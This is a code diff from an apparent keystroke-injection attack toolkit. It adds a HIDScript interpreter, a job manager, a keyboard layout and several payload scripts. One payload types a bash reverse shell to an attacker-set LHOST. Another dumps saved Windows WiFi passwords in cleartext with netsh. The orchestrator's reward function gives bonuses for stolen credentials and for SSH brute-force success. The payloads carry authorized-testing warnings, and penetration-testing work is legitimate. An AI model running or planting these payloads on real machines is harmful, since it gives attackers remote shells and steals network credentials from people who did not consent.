1 + else: + eq = incr.find('=') + if eq >= 0: + name = incr[:eq].strip() + self._vars[name] = self._eval_expr(incr[eq+1:].strip()) + i += 1 + + def _exec_while(self, stmt): + """Execute a while loop.""" + max_iterations = 1000000 + i = 0 + while i < max_iterations: + if self._stop.is_set(): + return + if not self._eval_expr(stmt["cond"]): + break + self._exec_stmts(self._parse_block(stmt["body"])) + i += 1 + + def _exec_if(self, stmt): + """Execute an if/else statement.""" + if self._eval_expr(stmt["cond"]): + self._exec_stmts(self._parse_block(stmt["body"])) + elif stmt.get("else"): + else_part = stmt["else"] + if isinstance(else_part, dict): + # else if + self._exec_if(else_part) + else: + self._exec_stmts(self._parse_block(else_part)) + + # ── Expression Evaluator ─────────────────────────────────── + + def _eval_expr(self, expr): + """Evaluate an expression string and return its value.""" + if isinstance(expr, (int, float, bool)): + return expr + if not isinstance(expr, str): + return expr + + expr = expr.strip() + if not expr: + return None + + # String literal + if (expr.startswith('"') and expr.endswith('"')) or \ + (expr.startswith("'") and expr.endswith("'")): + return self._unescape(expr[1:-1]) + + # Numeric literal + try: + if '.' in expr: + return float(expr) + return int(expr) + except ValueError: + pass + + # Boolean / null + if expr == 'true': + return True + if expr == 'false': + return False + if expr == 'null': + return None + + # String concatenation with + + if self._has_top_level_op(expr, '+') and self._contains_string(expr): + parts = self._split_top_level(expr, '+') + result = "" + for p in parts: + val = self._eval_expr(p.strip()) + result += str(val) if val is not None else "" + return result + + # Comparison operators + for op in ['===', '!==', '==', '!=', '>=', '<=', '>', '<']: + if self._has_top_level_op(expr, op): + parts = self._split_top_level(expr, op, max_splits=1) + if len(parts) == 2: + left = self._eval_expr(parts[0].strip()) + right = self._eval_expr(parts[1].strip()) + if op in ('==', '==='): + return left == right + elif op in ('!=', '!=='): + return left != right + elif op == '>': + return left > right + elif op == '<': + return left < right + elif op == '>=': + return left >= right + elif op == '<=': + return left <= right + + # Logical operators + if self._has_top_level_op(expr, '&&'): + parts = self._split_top_level(expr, '&&', max_splits=1) + return self._eval_expr(parts[0]) and self._eval_expr(parts[1]) + if self._has_top_level_op(expr, '||'): + parts = self._split_top_level(expr, '||', max_splits=1) + return self._eval_expr(parts[0]) or self._eval_expr(parts[1]) + + # Arithmetic + for op in ['+', '-']: + if self._has_top_level_op(expr, op) and not self._contains_string(expr): + parts = self._split_top_level(expr, op) + result = self._eval_expr(parts[0].strip()) + for p in parts[1:]: + val = self._eval_expr(p.strip()) + if op == '+': + result = (result or 0) + (val or 0) + else: + result = (result or 0) - (val or 0) + return result + + for op in ['*', '/']: + if self._has_top_level_op(expr, op): + parts = self._split_top_level(expr, op) + result = self._eval_expr(parts[0].strip()) + for p in parts[1:]: + val = self._eval_expr(p.strip()) + if op == '*': + result = (result or 0) * (val or 0) + else: + result = (result or 0) / (val or 1) + return result + + # Modulo + if self._has_top_level_op(expr, '%'): + parts = self._split_top_level(expr, '%') + result = self._eval_expr(parts[0].strip()) + for p in parts[1:]: + val = self._eval_expr(p.strip()) + result = (result or 0) % (val or 1) + return result + + # Negation + if expr.startswith('!'): + return not self._eval_expr(expr[1:]) + + # Parenthesized expression + if expr.startswith('(') and self._find_matching_paren(expr, 0) == len(expr) - 1: + return self._eval_expr(expr[1:-1]) + + # Function call + m = re.match(r'^([a-zA-Z_][\w.]*)\s*\(', expr) + if m: + func_name = m.group(1) + p_start = expr.index('(') + p_end = self._find_matching_paren(expr, p_start) + args_str = expr[p_start+1:p_end] + args = self._parse_args(args_str) + return self._call_func(func_name, args) + + # Variable reference + if re.match(r'^[a-zA-Z_]\w*$', expr): + return self._vars.get(expr, 0) + + # Increment/decrement as expression + if expr.endswith('++'): + name = expr[:-2].strip() + val = self._vars.get(name, 0) + self._vars[name] = val + 1 + return val + if expr.endswith('--'): + name = expr[:-2].strip() + val = self._vars.get(name, 0) + self._vars[name] = val - 1 + return val + + logger.warning("Cannot evaluate expression: %r", expr) + return 0 + + # ── Built-in Functions ───────────────────────────────────── + + def _call_func(self, name: str, args: list): + """Dispatch a built-in function call.""" + # Evaluate all arguments + evaled = [self._eval_expr(a) for a in args] + + if name == "type": + text = str(evaled[0]) if evaled else "" + self.hid.type_string(text, stop_event=self._stop) + + elif name == "press": + combo = str(evaled[0]) if evaled else "" + self.hid.press_combo(combo) + + elif name == "delay": + ms = int(evaled[0]) if evaled else 0 + if ms > 0: + self._stop.wait(ms / 1000.0) + + elif name == "layout": + name_val = str(evaled[0]) if evaled else self._default_layout + self.hid.set_layout(name_val) + + elif name == "typingSpeed": + min_ms = int(evaled[0]) if len(evaled) > 0 else 0 + max_ms = int(evaled[1]) if len(evaled) > 1 else min_ms + self.hid.set_typing_speed(min_ms, max_ms) + + elif name == "move": + x = int(evaled[0]) if len(evaled) > 0 else 0 + y = int(evaled[1]) if len(evaled) > 1 else 0 + self.hid.mouse_move(x, y) + + elif name == "moveTo": + x = int(evaled[0]) if len(evaled) > 0 else 0 + y = int(evaled[1]) if len(evaled) > 1 else 0 + self.hid.mouse_move_stepped(x, y, step=5) + + elif name == "moveStepped": + x = int(evaled[0]) if len(evaled) > 0 else 0 + y = int(evaled[1]) if len(evaled) > 1 else 0 + step = int(evaled[2]) if len(evaled) > 2 else 10 + self.hid.mouse_move_stepped(x, y, step=step) + + elif name == "click": + btn = int(evaled[0]) if evaled else BT1 + self.hid.mouse_click(btn) + + elif name == "doubleClick": + btn = int(evaled[0]) if evaled else BT1 + self.hid.mouse_double_click(btn) + + elif name == "button": + mask = int(evaled[0]) if evaled else 0 + self.hid.send_mouse_report(mask, 0, 0) + + elif name == "waitLED": + mask = int(evaled[0]) if evaled else ANY + timeout = float(evaled[1]) / 1000 if len(evaled) > 1 else 0 + return self.hid.wait_led(mask, self._stop, timeout) + + elif name == "waitLEDRepeat": + mask = int(evaled[0]) if evaled else ANY + count = int(evaled[1]) if len(evaled) > 1 else 1 + return self.hid.wait_led_repeat(mask, count, self._stop) + + elif name == "console.log" or name == "log": + msg = " ".join(str(a) for a in evaled) + self._output.append(msg) + logger.debug("[HIDScript] %s", msg) + + elif name in ("parseInt", "Number"): + try: + return int(float(evaled[0])) if evaled else 0 + except (ValueError, TypeError): + return 0 + + elif name == "String": + return str(evaled[0]) if evaled else "" + + elif name == "Math.random": + import random + return random.random() + + elif name == "Math.floor": + import math + return math.floor(evaled[0]) if evaled else 0 + + else: + logger.warning("Unknown function: %s", name) + return None + + return None + + # ── Helpers ──────────────────────────────────────────────── + + def _parse_args(self, args_str: str) -> list: + """Split function arguments respecting string literals and parens.""" + args = [] + depth = 0 + current = "" + in_str = None + + for ch in args_str: + if in_str: + current += ch + if ch == in_str and (len(current) < 2 or current[-2] != '\\'): + in_str = None + elif ch in ('"', "'"): + in_str = ch + current += ch + elif ch == '(': + depth += 1 + current += ch + elif ch == ')': + depth -= 1 + current += ch + elif ch == ',' and depth == 0: + if current.strip(): + args.append(current.strip()) + current = "" + else: + current += ch + + if current.strip(): + args.append(current.strip()) + return args + + def _unescape(self, s: str) -> str: + """Process escape sequences in a string.""" + return s.replace('\\n', '\n').replace('\\t', '\t').replace('\\r', '\r') \ + .replace('\\"', '"').replace("\\'", "'").replace('\\\\', '\\') + + def _skip_ws(self, source: str, pos: int) -> int: + """Skip whitespace.""" + while pos < len(source) and source[pos] in ' \t\n\r': + pos += 1 + return pos + + def _find_matching_brace(self, source: str, pos: int) -> int: + """Find matching } for { at pos.""" + depth = 1 + i = pos + 1 + in_str = None + while i < len(source): + ch = source[i] + if in_str: + if ch == in_str and source[i-1] != '\\': + in_str = None + elif ch in ('"', "'"): + in_str = ch + elif ch == '{': + depth += 1 + elif ch == '}': + depth -= 1 + if depth == 0: + return i + i += 1 + return len(source) - 1 + + def _find_matching_paren(self, source: str, pos: int) -> int: + """Find matching ) for ( at pos.""" + depth = 1 + i = pos + 1 + in_str = None + while i < len(source): + ch = source[i] + if in_str: + if ch == in_str and source[i-1] != '\\': + in_str = None + elif ch in ('"', "'"): + in_str = ch + elif ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + if depth == 0: + return i + i += 1 + return len(source) - 1 + + def _has_top_level_op(self, expr: str, op: str) -> bool: + """Check if operator exists at top level (not inside parens/strings).""" + depth = 0 + in_str = None + i = 0 + while i < len(expr): + ch = expr[i] + if in_str: + if ch == in_str and (i == 0 or expr[i-1] != '\\'): + in_str = None + elif ch in ('"', "'"): + in_str = ch + elif ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + elif depth == 0 and expr[i:i+len(op)] == op: + # Don't match multi-char ops that are substrings of longer ones + if len(op) == 1 and op in '+-': + # Skip if part of ++ or -- + if i + 1 < len(expr) and expr[i+1] == op: + i += 2 + continue + if i > 0 and expr[i-1] == op: + i += 1 + continue + return True + i += 1 + return False + + def _split_top_level(self, expr: str, op: str, max_splits: int = -1) -> list: + """Split expression by operator at top level only.""" + parts = [] + depth = 0 + in_str = None + current = "" + i = 0 + splits = 0 + + while i < len(expr): + ch = expr[i] + if in_str: + current += ch + if ch == in_str and (i == 0 or expr[i-1] != '\\'): + in_str = None + elif ch in ('"', "'"): + in_str = ch + current += ch + elif ch == '(': + depth += 1 + current += ch + elif ch == ')': + depth -= 1 + current += ch + elif depth == 0 and expr[i:i+len(op)] == op and (max_splits < 0 or splits < max_splits): + # Don't split on ++ or -- when looking for + or - + if len(op) == 1 and op in '+-': + if i + 1 < len(expr) and expr[i+1] == op: + current += ch + i += 1 + current += expr[i] + i += 1 + continue + parts.append(current) + current = "" + i += len(op) + splits += 1 + continue + else: + current += ch + i += 1 + + parts.append(current) + return parts + + def _contains_string(self, expr: str) -> bool: + """Check if expression contains a string literal at top level.""" + depth = 0 + in_str = None + for ch in expr: + if in_str: + if ch == in_str: + return True # Found complete string + elif ch in ('"', "'"): + in_str = ch + elif ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + return False diff --git a/loki/jobs.py b/loki/jobs.py new file mode 100644 index 0000000..5fc79be --- /dev/null +++ b/loki/jobs.py @@ -0,0 +1,162 @@ +""" +Loki job manager — tracks HIDScript execution jobs. +Each job runs in its own daemon thread. +""" +import uuid +import time +import logging +import traceback +from datetime import datetime +from threading import Thread, Event + +from logger import Logger + +logger = Logger(name="loki.jobs", level=logging.DEBUG) + + +class LokiJobManager: + """Manages HIDScript job lifecycle.""" + + def __init__(self, engine): + self.engine = engine + self._jobs = {} # job_id → job dict + self._threads = {} # job_id → Thread + self._stops = {} # job_id → Event + + def create_job(self, script_name: str, script_content: str) -> str: + """Create and start a new job. Returns job_id (UUID).""" + job_id = str(uuid.uuid4())[:8] + now = datetime.now().isoformat() + + job = { + "id": job_id, + "script_name": script_name, + "status": "pending", + "output": "", + "error": "", + "started_at": None, + "finished_at": None, + "created_at": now, + } + self._jobs[job_id] = job + stop = Event() + self._stops[job_id] = stop + + # Persist to DB + try: + db = self.engine.shared_data.db + db.execute( + "INSERT INTO loki_jobs (id, script_name, status, created_at) VALUES (?, ?, ?, ?)", + (job_id, script_name, "pending", now) + ) + except Exception as e: + logger.error("DB insert job error: %s", e) + + # Start execution thread + t = Thread( + target=self._run_job, + args=(job_id, script_content, stop), + daemon=True, + name=f"loki-job-{job_id}", + ) + self._threads[job_id] = t + t.start() + + logger.info("Job %s created: %s", job_id, script_name) + return job_id + + def cancel_job(self, job_id: str) -> bool: + """Cancel a running job.""" + stop = self._stops.get(job_id) + if stop: + stop.set() + job = self._jobs.get(job_id) + if job and job["status"] == "running": + job["status"] = "cancelled" + job["finished_at"] = datetime.now().isoformat() + self._update_db(job_id, "cancelled", job.get("output", ""), "Cancelled by user") + logger.info("Job %s cancelled", job_id) + return True + return False + + def get_all_jobs(self) -> list: + """Return list of all jobs (most recent first).""" + jobs = list(self._jobs.values()) + jobs.sort(key=lambda j: j.get("created_at", ""), reverse=True) + return jobs + + def get_job(self, job_id: str) -> dict: + """Get a single job by ID.""" + return self._jobs.get(job_id) + + def clear_completed(self): + """Remove finished/failed/cancelled jobs from memory.""" + to_remove = [ + jid for jid, j in self._jobs.items() + if j["status"] in ("succeeded", "failed", "cancelled") + ] + for jid in to_remove: + self._jobs.pop(jid, None) + self._threads.pop(jid, None) + self._stops.pop(jid, None) + try: + self.engine.shared_data.db.execute( + "DELETE FROM loki_jobs WHERE status IN ('succeeded', 'failed', 'cancelled')" + ) + except Exception as e: + logger.error("DB clear jobs error: %s", e) + + @property + def running_count(self) -> int: + return sum(1 for j in self._jobs.values() if j["status"] == "running") + + # ── Internal ─────────────────────────────────────────────── + + def _run_job(self, job_id: str, script_content: str, stop: Event): + """Execute a HIDScript in this thread.""" + job = self._jobs[job_id] + job["status"] = "running" + job["started_at"] = datetime.now().isoformat() + self._update_db(job_id, "running") + + try: + from loki.hidscript import HIDScriptParser + parser = HIDScriptParser(self.engine.hid_controller) + output_lines = parser.execute(script_content, stop_event=stop, job_id=job_id) + + if stop.is_set(): + job["status"] = "cancelled" + else: + job["status"] = "succeeded" + + job["output"] = "\n".join(output_lines) + + except Exception as e: + job["status"] = "failed" + job["error"] = str(e) + job["output"] = traceback.format_exc() + logger.error("Job %s failed: %s", job_id, e) + + finally: + job["finished_at"] = datetime.now().isoformat() + self._update_db( + job_id, job["status"], + job.get("output", ""), + job.get("error", ""), + ) + logger.info("Job %s finished: %s", job_id, job["status"]) + + def _update_db(self, job_id: str, status: str, output: str = "", error: str = ""): + """Persist job state to database.""" + try: + db = self.engine.shared_data.db + db.execute( + "UPDATE loki_jobs SET status=?, output=?, error=?, " + "started_at=?, finished_at=? WHERE id=?", + (status, output, error, + self._jobs.get(job_id, {}).get("started_at"), + self._jobs.get(job_id, {}).get("finished_at"), + job_id) + ) + except Exception as e: + logger.error("DB update job error: %s", e) diff --git a/loki/layouts/__init__.py b/loki/layouts/__init__.py new file mode 100644 index 0000000..d84e7f1 --- /dev/null +++ b/loki/layouts/__init__.py @@ -0,0 +1,45 @@ +""" +Keyboard layout loader for Loki HID subsystem. +Caches loaded layouts in memory. +""" +import json +import os +import logging + +from logger import Logger + +logger = Logger(name="loki.layouts", level=logging.DEBUG) + +_LAYOUT_DIR = os.path.dirname(os.path.abspath(__file__)) +_cache = {} + + +def load(name: str = "us") -> dict: + """Load a keyboard layout by name. Returns char → (modifier, keycode) map.""" + name = name.lower() + if name in _cache: + return _cache[name] + + path = os.path.join(_LAYOUT_DIR, f"{name}.json") + if not os.path.isfile(path): + logger.warning("Layout '%s' not found, falling back to 'us'", name) + path = os.path.join(_LAYOUT_DIR, "us.json") + name = "us" + if name in _cache: + return _cache[name] + + with open(path, "r") as f: + data = json.load(f) + + _cache[name] = data + logger.debug("Loaded keyboard layout '%s' (%d chars)", name, len(data)) + return data + + +def available() -> list: + """List available layout names.""" + layouts = [] + for f in os.listdir(_LAYOUT_DIR): + if f.endswith(".json"): + layouts.append(f[:-5]) + return sorted(layouts) diff --git a/loki/layouts/us.json b/loki/layouts/us.json new file mode 100644 index 0000000..7336f6c --- /dev/null +++ b/loki/layouts/us.json @@ -0,0 +1,41 @@ +{ + "a": [0, 4], "b": [0, 5], "c": [0, 6], "d": [0, 7], + "e": [0, 8], "f": [0, 9], "g": [0, 10], "h": [0, 11], + "i": [0, 12], "j": [0, 13], "k": [0, 14], "l": [0, 15], + "m": [0, 16], "n": [0, 17], "o": [0, 18], "p": [0, 19], + "q": [0, 20], "r": [0, 21], "s": [0, 22], "t": [0, 23], + "u": [0, 24], "v": [0, 25], "w": [0, 26], "x": [0, 27], + "y": [0, 28], "z": [0, 29], + + "A": [2, 4], "B": [2, 5], "C": [2, 6], "D": [2, 7], + "E": [2, 8], "F": [2, 9], "G": [2, 10], "H": [2, 11], + "I": [2, 12], "J": [2, 13], "K": [2, 14], "L": [2, 15], + "M": [2, 16], "N": [2, 17], "O": [2, 18], "P": [2, 19], + "Q": [2, 20], "R": [2, 21], "S": [2, 22], "T": [2, 23], + "U": [2, 24], "V": [2, 25], "W": [2, 26], "X": [2, 27], + "Y": [2, 28], "Z": [2, 29], + + "1": [0, 30], "2": [0, 31], "3": [0, 32], "4": [0, 33], + "5": [0, 34], "6": [0, 35], "7": [0, 36], "8": [0, 37], + "9": [0, 38], "0": [0, 39], + + "!": [2, 30], "@": [2, 31], "#": [2, 32], "$": [2, 33], + "%": [2, 34], "^": [2, 35], "&": [2, 36], "*": [2, 37], + "(": [2, 38], ")": [2, 39], + + "\n": [0, 40], "\r": [0, 40], + "\t": [0, 43], + " ": [0, 44], + + "-": [0, 45], "_": [2, 45], + "=": [0, 46], "+": [2, 46], + "[": [0, 47], "{": [2, 47], + "]": [0, 48], "}": [2, 48], + "\\": [0, 49], "|": [2, 49], + ";": [0, 51], ":": [2, 51], + "'": [0, 52], "\"": [2, 52], + "`": [0, 53], "~": [2, 53], + ",": [0, 54], "<": [2, 54], + ".": [0, 55], ">": [2, 55], + "/": [0, 56], "?": [2, 56] +} diff --git a/loki/payloads/hello_world.js b/loki/payloads/hello_world.js new file mode 100644 index 0000000..f5c094f --- /dev/null +++ b/loki/payloads/hello_world.js @@ -0,0 +1,9 @@ +// Hello World — Test payload that types a message in Notepad (Windows) +layout('us'); +delay(1000); +press("GUI r"); +delay(500); +type("notepad\n"); +delay(1000); +type("Hello from Bjorn Loki!\n"); +type("HID injection is working.\n"); diff --git a/loki/payloads/reverse_shell_linux.js b/loki/payloads/reverse_shell_linux.js new file mode 100644 index 0000000..d460762 --- /dev/null +++ b/loki/payloads/reverse_shell_linux.js @@ -0,0 +1,13 @@ +// Reverse Shell (Linux) — Bash reverse TCP. Set LHOST/LPORT before use. +// WARNING: For authorized penetration testing only. +var LHOST = "CHANGE_ME"; +var LPORT = "4444"; + +layout('us'); +delay(1000); + +// Open terminal (Ctrl+Alt+T is common on Ubuntu/Debian) +press("CTRL ALT t"); +delay(1500); + +type("bash -i >& /dev/tcp/" + LHOST + "/" + LPORT + " 0>&1\n"); diff --git a/loki/payloads/rickroll.js b/loki/payloads/rickroll.js new file mode 100644 index 0000000..ef5e5e3 --- /dev/null +++ b/loki/payloads/rickroll.js @@ -0,0 +1,6 @@ +// Rickroll — Opens browser to a famous URL (harmless test) +layout('us'); +delay(1000); +press("GUI r"); +delay(500); +type("https://www.youtube.com/watch?v=dQw4w9WgXcQ\n"); diff --git a/loki/payloads/wifi_exfil_win.js b/loki/payloads/wifi_exfil_win.js new file mode 100644 index 0000000..7e6f4f8 --- /dev/null +++ b/loki/payloads/wifi_exfil_win.js @@ -0,0 +1,20 @@ +// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh +// WARNING: For authorized penetration testing only. +layout('us'); +delay(1000); + +// Open CMD +press("GUI r"); +delay(500); +type("cmd\n"); +delay(1000); + +// Export all WiFi profiles with keys to a file +type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n"); +delay(3000); + +// Show WiFi passwords inline +type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n"); +delay(5000); + +console.log("WiFi profiles exported to C:\\Users\\Public"); diff --git a/orchestrator.py b/orchestrator.py index 638163d..8b053ce 100644 --- a/orchestrator.py +++ b/orchestrator.py @@ -345,62 +345,138 @@ class Orchestrator: return 0.0 # Base reward - reward = 50.0 if success else -5.0 - - if not success: - # Penalize time waste on failure - reward -= (duration * 0.1) - return reward - + base_reward = 50.0 if success else -5.0 + # ───────────────────────────────────────────────────────── - # Check for credentials found (high value!) + # Credential bonus (high value!) # ───────────────────────────────────────────────────────── + credential_bonus = 0.0 try: recent_creds = self.shared_data.db.query(""" - SELECT COUNT(*) as cnt FROM creds - WHERE mac_address=? + SELECT COUNT(*) as cnt FROM creds + WHERE mac_address=? AND first_seen > datetime('now', '-1 minute') """, (mac,)) - + if recent_creds and recent_creds[0]['cnt'] > 0: creds_count = recent_creds[0]['cnt'] - reward += 100 * creds_count # 100 per credential! - logger.info(f"RL: +{100*creds_count} reward for {creds_count} credentials") + credential_bonus = 100.0 * creds_count + logger.info(f"RL: +{credential_bonus:.0f} reward for {creds_count} credentials") except Exception as e: logger.error(f"Error checking credentials: {e}") - + # ───────────────────────────────────────────────────────── - # Check for new services discovered + # Information gain reward (always positive, even on failure) # ───────────────────────────────────────────────────────── + info_gain = 0.0 try: - # Compare ports before/after ports_before = set(state_before.get('ports', [])) ports_after = set(state_after.get('ports', [])) new_ports = ports_after - ports_before - if new_ports: - reward += 15 * len(new_ports) - logger.info(f"RL: +{15*len(new_ports)} reward for {len(new_ports)} new ports") + info_gain += 15 * len(new_ports) + logger.info(f"RL: +{15*len(new_ports)} info_gain for {len(new_ports)} new ports") except Exception as e: logger.error(f"Error checking new ports: {e}") - + # ───────────────────────────────────────────────────────── # Time efficiency bonus/penalty # ───────────────────────────────────────────────────────── + time_bonus = 0.0 if duration < 30: - reward += 20 # Fast execution bonus + time_bonus = 20.0 elif duration > 120: - reward -= 10 # Slow execution penalty - + time_bonus = -10.0 + # ───────────────────────────────────────────────────────── # Action-specific bonuses # ───────────────────────────────────────────────────────── if action_name == "SSHBruteforce" and success: - # Extra bonus for SSH success (difficult action) - reward += 30 - - logger.debug(f"RL Reward calculated: {reward:.1f} for {action_name}") - return reward + credential_bonus += 30.0 + + # ───────────────────────────────────────────────────────── + # AI-02: Novelty bonus - reward exploring un-tried action+host combos + # ───────────────────────────────────────────────────────── + novelty_bonus = 0.0 + try: + attempt_count = self._get_action_attempt_count(action_name, mac) + if attempt_count <= 1: + novelty_bonus = 10.0 # first try bonus + elif attempt_count <= 3: + novelty_bonus = 5.0 # still exploring + except Exception as e: + logger.debug(f"Novelty bonus calculation error: {e}") + + # ───────────────────────────────────────────────────────── + # AI-02: Diminishing returns - penalize repeating same failed action + # ───────────────────────────────────────────────────────── + repeat_penalty = 0.0 + if not success: + try: + consecutive_fails = self._get_consecutive_fail_count(action_name, mac) + repeat_penalty = min(consecutive_fails * 5.0, 25.0) # cap at -25 + except Exception as e: + logger.debug(f"Repeat penalty calculation error: {e}") + + # ───────────────────────────────────────────────────────── + # AI-02: Duration-proportional partial credit for failed actions + # ───────────────────────────────────────────────────────── + partial_credit = 0.0 + if not success and duration > 5: + partial_credit = min(duration * 0.5, 10.0) # cap at +10 + + total_reward = ( + base_reward + + credential_bonus + + info_gain + + time_bonus + + novelty_bonus + - repeat_penalty + + partial_credit + ) + + logger.debug( + f"RL Reward: {total_reward:.1f} for {action_name} " + f"(base={base_reward:.0f} cred={credential_bonus:.0f} info={info_gain:.0f} " + f"time={time_bonus:.0f} novelty={novelty_bonus:.0f} " + f"repeat_pen={repeat_penalty:.0f} partial={partial_credit:.1f})" + ) + return total_reward + + def _get_action_attempt_count(self, action_name: str, mac: str) -> int: + """AI-02: Get the total number of times this action was tried on this host.""" + try: + rows = self.shared_data.db.query( + "SELECT COUNT(*) AS cnt FROM ml_features WHERE action_name=? AND mac_address=?", + (action_name, mac), + ) + return int(rows[0]['cnt']) if rows else 0 + except Exception as e: + logger.debug(f"_get_action_attempt_count error: {e}") + return 0 + + def _get_consecutive_fail_count(self, action_name: str, mac: str) -> int: + """AI-02: Count consecutive failures for this action+host, most recent first.""" + try: + rows = self.shared_data.db.query( + """ + SELECT success FROM ml_features + WHERE action_name=? AND mac_address=? + ORDER BY timestamp DESC + LIMIT 10 + """, + (action_name, mac), + ) + count = 0 + for r in rows: + if int(r['success']) == 0: + count += 1 + else: + break + return count + except Exception as e: + logger.debug(f"_get_consecutive_fail_count error: {e}") + return 0 def execute_queued_action(self, queued_action: Dict[str, Any]) -> bool: """Execute a single queued action with RL integration""" @@ -559,7 +635,7 @@ class Orchestrator: # Determine success success = (result == 'success') - + # Update queue status based on result if success: self.shared_data.db.update_queue_status(queue_id, 'success') @@ -568,6 +644,16 @@ class Orchestrator: self.shared_data.db.update_queue_status(queue_id, 'failed') logger.warning(f"Action {action_name} failed for {ip}") + # Circuit breaker feedback (ORCH-01) + try: + cb_threshold = int(getattr(self.shared_data, 'circuit_breaker_threshold', 3)) + if success: + self.shared_data.db.record_circuit_breaker_success(action_name, mac) + else: + self.shared_data.db.record_circuit_breaker_failure(action_name, mac, threshold=cb_threshold) + except Exception as cb_err: + logger.debug(f"Circuit breaker update skipped: {cb_err}") + except Exception as e: logger.error(f"Error executing action {action_name}: {e}") self.shared_data.db.update_queue_status(queue_id, 'failed', str(e)) @@ -633,6 +719,23 @@ class Orchestrator: logger.debug(f"Features logged for {action_name} (mode={self.shared_data.operation_mode})") + # AI-03: Feed reward to AI engine for performance tracking + if self.ai_engine: + try: + self.ai_engine.record_reward(reward) + except Exception as e: + logger.debug(f"AI reward recording skipped: {e}") + + # AI-04: Update bootstrap scores for cold-start learning + if self.ai_engine: + try: + state_after = self._build_host_state(mac) + ports = set(state_after.get('ports', [])) + port_profile = self.ai_engine._detect_port_profile(ports) + self.ai_engine.update_bootstrap(action_name, port_profile, reward) + except Exception as e: + logger.debug(f"Bootstrap update skipped: {e}") + except Exception as e: logger.info_throttled( f"Feature logging skipped: {e}", @@ -674,6 +777,15 @@ class Orchestrator: # Execute the action self.execute_queued_action(next_action) + + # If exit was requested during execution, reset status + # immediately so the UI doesn't stay on the finished action. + if self.shared_data.orchestrator_should_exit: + self.shared_data.bjorn_orch_status = "IDLE" + self.shared_data.bjorn_status_text = "IDLE" + self.shared_data.bjorn_status_text2 = "" + self.shared_data.action_target_ip = "" + self.shared_data.active_action = None else: # IDLE mode idle_time += 1 @@ -704,6 +816,16 @@ class Orchestrator: time.sleep(self._loop_error_backoff) self._loop_error_backoff = min(self._loop_error_backoff * 2.0, 10.0) + # ── Reset status immediately upon exit ────────────────────── + # This ensures the UI shows IDLE as soon as the orchestrator stops, + # regardless of whether Bjorn.stop_orchestrator()'s join() timed out. + self.shared_data.bjorn_orch_status = "IDLE" + self.shared_data.bjorn_status_text = "IDLE" + self.shared_data.bjorn_status_text2 = "" + self.shared_data.action_target_ip = "" + self.shared_data.active_action = None + self.shared_data.update_status("IDLE", "") + # Cleanup on exit (OUTSIDE while loop) if self.scheduler: self.scheduler.stop() @@ -712,7 +834,7 @@ class Orchestrator: self.scheduler_thread.join(timeout=10.0) if self.scheduler_thread.is_alive(): logger.warning("ActionScheduler thread did not exit cleanly") - + logger.info("Orchestrator stopped") def _process_background_tasks(self): diff --git a/resources/default_config/characters/ALVA/static/0.bmp b/resources/default_config/characters/ALVA/static/0.bmp new file mode 100644 index 0000000..8982328 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/0.bmp differ diff --git a/resources/default_config/characters/ALVA/static/100.bmp b/resources/default_config/characters/ALVA/static/100.bmp new file mode 100644 index 0000000..4229b5b Binary files /dev/null and b/resources/default_config/characters/ALVA/static/100.bmp differ diff --git a/resources/default_config/characters/ALVA/static/25.bmp b/resources/default_config/characters/ALVA/static/25.bmp new file mode 100644 index 0000000..9b51eec Binary files /dev/null and b/resources/default_config/characters/ALVA/static/25.bmp differ diff --git a/resources/default_config/characters/ALVA/static/50.bmp b/resources/default_config/characters/ALVA/static/50.bmp new file mode 100644 index 0000000..dfffc4e Binary files /dev/null and b/resources/default_config/characters/ALVA/static/50.bmp differ diff --git a/resources/default_config/characters/ALVA/static/75.bmp b/resources/default_config/characters/ALVA/static/75.bmp new file mode 100644 index 0000000..86f4638 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/75.bmp differ diff --git a/resources/default_config/characters/ALVA/static/AI.bmp b/resources/default_config/characters/ALVA/static/AI.bmp new file mode 100644 index 0000000..819dac8 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/AI.bmp differ diff --git a/resources/default_config/characters/ALVA/static/attack.bmp b/resources/default_config/characters/ALVA/static/attack.bmp new file mode 100644 index 0000000..62ead1d Binary files /dev/null and b/resources/default_config/characters/ALVA/static/attack.bmp differ diff --git a/resources/default_config/characters/ALVA/static/attacks.bmp b/resources/default_config/characters/ALVA/static/attacks.bmp new file mode 100644 index 0000000..4a0a5be Binary files /dev/null and b/resources/default_config/characters/ALVA/static/attacks.bmp differ diff --git a/resources/default_config/characters/ALVA/static/auto.bmp b/resources/default_config/characters/ALVA/static/auto.bmp new file mode 100644 index 0000000..12b6f4f Binary files /dev/null and b/resources/default_config/characters/ALVA/static/auto.bmp differ diff --git a/resources/default_config/characters/ALVA/static/bjorn1.bmp b/resources/default_config/characters/ALVA/static/bjorn1.bmp new file mode 100644 index 0000000..1c81cf6 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/bjorn1.bmp differ diff --git a/resources/default_config/characters/ALVA/static/bluetooth.bmp b/resources/default_config/characters/ALVA/static/bluetooth.bmp new file mode 100644 index 0000000..58e2079 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/bluetooth.bmp differ diff --git a/resources/default_config/characters/ALVA/static/charging.bmp b/resources/default_config/characters/ALVA/static/charging.bmp new file mode 100644 index 0000000..5836eaf Binary files /dev/null and b/resources/default_config/characters/ALVA/static/charging.bmp differ diff --git a/resources/default_config/characters/ALVA/static/charging1.bmp b/resources/default_config/characters/ALVA/static/charging1.bmp new file mode 100644 index 0000000..4482007 Binary files /dev/null and b/resources/default_config/characters/ALVA/static/charging1.bmp differ diff --git a/resources/default_config/characters/ALVA/static/connected.bmp b/resources/default_config/characters/ALVA/static/connected.bmp new file mode 100644 index 0000000..25c82fb Binary files /dev/null and b/resources/default_config/characters/ALVA/static/connected.bmp differ diff --git a/resources/default_config/characters/ALVA/static/cred.bmp b/resources/default_config/characters/ALVA/static/cred.bmp new file mode 100644 index 0000000..47ea10c Binary files /dev/null and b/resources/default_config/characters/ALVA/static/cred.bmp differ diff --git a/resources/default_config/characters/ALVA/static/data.bmp b/resources/default_config/characters/ALVA/static/data.bmp new file mode 100644 index 0000000..f38e7d4 Binary files /dev/null and 